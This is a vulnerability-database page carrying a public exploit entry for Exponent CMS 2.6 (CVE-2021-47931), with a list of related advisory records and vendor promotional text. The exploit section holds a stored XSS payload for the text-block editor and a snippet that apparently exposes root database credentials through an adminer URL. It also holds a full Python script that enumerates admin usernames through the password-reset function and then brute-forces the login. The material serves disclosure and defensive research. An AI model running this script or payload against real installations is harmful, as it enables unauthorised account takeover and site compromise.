Exponent CMS <= 2.6 - Stored Cross-Site Scripting (XSS) / Information Disclosure / Authentication Brute Force
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2021-47931 | 10 May 202612:43 | – | attackerkb | |
| Exponent CMS cross-site scripting vulnerability | 10 May 202600:00 | – | cnnvd | |
| CVE-2021-47931 | 10 May 202612:43 | – | cve | |
| CVE-2021-47931 Exponent CMS 2.6 Multiple Vulnerabilities Stored XSS Authentication | 10 May 202612:43 | – | cvelist | |
| EUVD-2021-34793 | 10 May 202615:31 | – | euvd | |
| CVE-2021-47931 | 10 May 202613:16 | – | nvd | |
| PT-2026-39507 | 10 May 202600:00 | – | ptsecurity | |
| CVE-2021-47931: Improper Neutralization of Input During Web Page Generation | 10 May 202600:00 | – | rapid7 | |
| CVE-2021-47931 | 11 May 202620:26 | – | redhatcve | |
| CVE-2021-47931 Exponent CMS 2.6 Multiple Vulnerabilities Stored XSS Authentication | 10 May 202612:43 | – | vulnrichment |
# Exploit Title: Exponent CMS 2.6 - Multiple Vulnerabilities
# Exploit Author: heinjame
# Date: 22/10/2021
# Exploit Author: picaro_o
# Vendor Homepage: https://www.exponentcms.org/
# Version: <=2.6
# Tested on: Linux os
*Stored XSS*
Affected parameter = >
http://127.0.0.1:8082/expcms/text/edit/id/{id}/src/@footer (Title,
Text Block)
Payload = <iframe/src="data:text/html,<svg onload=alert(1)>">
** *Database credential are disclosed in response ***
POC
```
var adminerwindow = function (){
var win =
window.open('/expcms/external/adminer/admin.php?server=localhost&username=root&db=exponentcms');
if (!win) { err(); }
}
```
**Authentication Bruteforce*
```
import argparse
import requests
import sys
parser = argparse.ArgumentParser()
parser.add_argument("url", help="URL")
parser.add_argument("Username list", help="Username List")
parser.add_argument("Password list", help="Password List")
pargs = parser.parse_args()
host = sys.argv[1]
userlist = sys.argv[2]
passlist = sys.argv[3]
try:
readuser = open(userlist)
readpass = open(passlist)
except:
print("Unable to load files")
exit()
def usernamebrute():
s = requests.Session()
for username in readuser.readlines():
brute={
'controller':(None,'users'),
'src':(None,''),
'int':(None,''),
'action':(None,'send_new_password'),
'username':(None,username.strip()),
}
bruteforce = s.post(host+"/index.php",files=brute)
status = s.get(host+"/users/reset_password")
if "administrator" in status.text:
print("[+] Found username : "+ username)
adminaccount = username
checkpoint = True
return adminaccount,checkpoint
break
def passwordbrute(adminaccount):
s = requests.Session()
s.cookies.set("csrftoken", "abc")
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0)
Gecko/20100101 Firefox/78.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'COntent-TYpE': 'applicatiOn/x-WWW-fOrm-urlencoded1',
'Referer': host+'/login/showlogin'
}
for password in readpass.readlines():
brute={
'controller':'login',
'src':'',
'int':'',
'action':'login',
'username':adminaccount,
'password':password.strip()
}
bruteforce = s.post(host+"/index.php",headers=header,data=brute)
# print(bruteforce.text)
status = s.get(host+"/login/showlogin",cookies=csrf)
print(status.text)
if "Invalid Username / Password" not in status.text:
print("[+] Found Password : "+ password)
break
adminaccount,checkpoint = usernamebrute()
if checkpoint == True:
passwordbrute(adminaccount)
else:
print("Can't find username,We can't proceed sorry :(")
```Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 45.1
CVSS 3.16.4
EPSS0.00213
SSVC